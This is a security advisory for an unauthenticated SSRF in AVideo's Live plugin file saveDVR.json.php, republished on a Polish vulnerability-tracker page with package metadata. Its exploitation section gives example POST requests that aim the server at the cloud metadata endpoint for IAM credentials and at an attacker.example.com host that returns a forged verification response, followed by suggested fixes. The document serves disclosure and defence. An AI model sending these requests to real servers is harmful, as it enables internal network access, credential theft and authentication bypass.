AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
- User-controlled URL base: When the configuration file does not exist (standalone deployment),
$streamerURLis set directly from$_REQUEST['webSiteRootURL']with no validation. - No URL allowlisting or scheme restriction: The value is used as-is in a
file_get_contents()call. There is no check forhttp/httpsscheme only, no private IP blocking, and no domain allowlist. - Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- Internal port scanning:
webSiteRootURL=http://192.168.1.X:PORT/— differentiate open/closed ports by response time and error messages. - Internal service access:
webSiteRootURL=http://internal-service/— reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
-
The attacker sets up a server at
https://attacker.example.com/with the path:/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.phpThat returns:
js{"error": false, "response": {"key": "attacker_controlled_value"}} -
The attacker sends:
POST /plugin/Live/standAloneFiles/saveDVR.json.php webSiteRootURL=https://attacker.example.com/&saveDVR=anything -
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
-
The
keyvalue from the response flows into shell commands:- Line 55:
$DVRFile = "{$hls_path}{$key}";— used inexec()at line 80 (thoughescapeshellarg()is applied to the path components) - Line 72:
$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";— used withoutescapeshellarg()in:- Line 119:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157:
exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167:
exec("rm -R {$tmpDVRDir}");
- Line 119:
The
$keyis sanitized at line 47 withpreg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:- The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
- The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
- The colon character (
:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
- Line 55:
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
- Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
- Potential Command Execution: While the regex on
$keylimits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
-
Remove the user-controlled
webSiteRootURLfallback entirely. Require$streamerURLto be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:php// Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // } // If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } -
If the parameter must remain for backward compatibility, validate it:
phpif (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } -
Apply
escapeshellarg()to all variables used inexec()calls, including$DVRFileTargetat lines 119, 157, and$tmpDVRDirat line 167.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | wwbn/avideo | <= 26.0 | brak poprawki |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-918- Platforma
- Composer
- Paczka
wwbn/avideo- Ujawniono
- 19.03.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-5f7v-4f6g-74rj - CC BY 4.0
Historia podatności: wwbn/avideo
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 160
- Pierwsza → ostatnia
- 04.2022 06.2026
- Bez poprawki
- 143
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 14
- Wysoka 61
- Średnia 83
- Niska 2
Ujawnienia w latach
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
-
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.